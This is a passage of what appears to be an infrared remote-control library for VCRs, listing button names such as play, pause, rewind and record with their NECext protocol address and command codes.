+protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCRA_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: RESET_TIME_COUNTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: VCR_COUNTER_RESET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_SEARCH_SLOW_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: FR_ADV_SLOW_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_SEARCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_JOG/ADJ-(IND_SRC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: JOG/ADJUST_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: RS/- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_SRCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_JOG/INDEX_S.- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_INDEX_SEARCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_SRCH_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_<<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_ADJUST_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 17 00 00 00 +# +name: VCRA_REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 17 00 00 00 +# +name: 4_WED +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCRA_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: INPUT_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: PROG_LIST_ON/OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1B 00 00 00 +# +name: PROG.LIST_ON/OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1B 00 00 00 +# +name: DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1B 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: STILL/PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: PAUSE_/_STILL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCRA_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCRA_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1D 00 00 00 +# +name: SET_TIME_COUNTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1D 00 00 00 +# +name: PROG_REC_ON/OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1F 00 00 00 +# +name: PROG.REC_ON/OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1F 00 00 00 +# +name: 5_THU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCRA_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: ADDRESS_SEARCH +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 23 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_FFWD>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FF>>_(ADJUST_+) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_FF/FWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FAST_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: FAST_PLAY_X2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCR_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_SQV/QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCR_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_INFO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: 6_FRI +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCRA_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: PROG_NBR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2B 00 00 00 +# +name: V_PROG.NBR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2B 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_REW<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: REW<<_(ADJUST_-) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_REW/REV_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: R_PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2D 00 00 00 +# +name: PLAY_R._< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2D 00 00 00 +# +name: REVERSE_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2D 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2E 00 00 00 +# +name: SEARCH_TIME_COUNTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2E 00 00 00 +# +name: OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: OFF-T/OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: OTR_RECORD_TIME +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_OFF-T/OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_SLEEP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: 7_SAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCRA_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: SELECT_>_QUAD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: SELECT_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_QUI.PGM/PLUS+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_PLUS+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_Q.PROG/VCR_PLUS+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCRA_QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: QUICK_PROGRAM/VCR+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCRA_QUICKPRM/VCR+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: INDEX_SEARCH_SLOW_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: FR_ADV_SLOW_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: SLOW/FR_ADV_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: SLOW/FRAME_ADV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: SLOW_/_FRAME_ADVANCE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: ENTER_SLOW/FR_ADV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCRA_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: ENTER_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCRA_ENTER_(EXCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCR_EJECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 36 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 36 00 00 00 +# +name: VCRA_EJECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 36 00 00 00 +# +name: 8_M-F +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCRA_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 39 00 00 00 +# +name: VCRA_ANT_A/B +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 39 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_X2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_INPUT(X2) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_(X2) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INPUT_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: SET_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3B 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3B 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3C 00 00 00 +# +name: SLOW/FR_ADV_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3C 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3D 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3D 00 00 00 +# +name: VCRA_SRCH_SKIP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3D 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3F 00 00 00 +# +name: FUNCTION_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_AUDIO/VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: AUDIO/VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VIDEO_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_FUNC.VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_FUNC_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCR_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCRA_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: POWER_ON_(ALT.) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 44 00 00 00 +# +name: VCRA_S.(QUICK_VIEW) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 45 00 00 00 +# +name: TIME_SEARCH +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 47 00 00 00 +# +name: VIDEO_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 48 00 00 00 +# +name: VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 48 00 00 00 +# +name: VCRA_VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 48 00 00 00 +# +name: ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: ADJUST_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: ADJUST_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCRA_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4A 00 00 00 +# +name: SCAN_REV_(NEW) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCRA_SHUTTLE_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCRA_S.(RE.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4D 00 00 00 +# +name: STILL/STROBE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4F 00 00 00 +# +name: FUNCTION_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: AUDIO_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_FUNC.AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_FUNC_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: ENTER_(MENU) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCRA_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCRA_S.(F.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 56 00 00 00 +# +name: VCRA_JOG/SHUTTLE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 56 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 57 00 00 00 +# +name: AUDIO_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: VCRA_AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5B 00 00 00 +# +name: VCRA_S(RE.PLAY_BACK) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5B 00 00 00 +# +name: VCRA_SHU.FWD(NORMAL) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5C 00 00 00 +# +name: ADDRESS_SEARCH_DIVID +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 62 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 67 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6A 00 00 00 +# +name: VCRA_S.(R.FAST_P.B.) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6C 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6F 00 00 00 +# +name: ADJUST_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: VCR_ADJUST_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: JOG/SHUTTLE_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: VCRA_JOG_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: VCRA_ADJUST-JOG +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: ADJUST_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCR_ADJUST_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: JOG/SHUTTLE_FF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCRA_JOG_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCRA_ADJUST+JOG +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCR_ENTER_FWD(F.SP) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 75 00 00 00 +# +name: VCRA_S.(F.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 75 00 00 00 +# +name: VCRA_SHUTTLE_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 75 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 77 00 00 00 +# +name: VCR_ENTER_REV(F.SP) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 7D 00 00 00 +# +name: VCRA_S.(R.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 7D 00 00 00 +# +name: VCRA_SHUTTLE_REW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 7D 00 00 00 +# +name: VCRB_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: VCR-B +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: VCRB_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: VCRB_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: VCRB_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCRB_VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCRB_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: VCRB_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: VCRB_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: VCRB_RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: VCRB_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: VCRB_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: INDEX_SEARCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_INDEX_SEARCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_SRCH_INDEX_+ 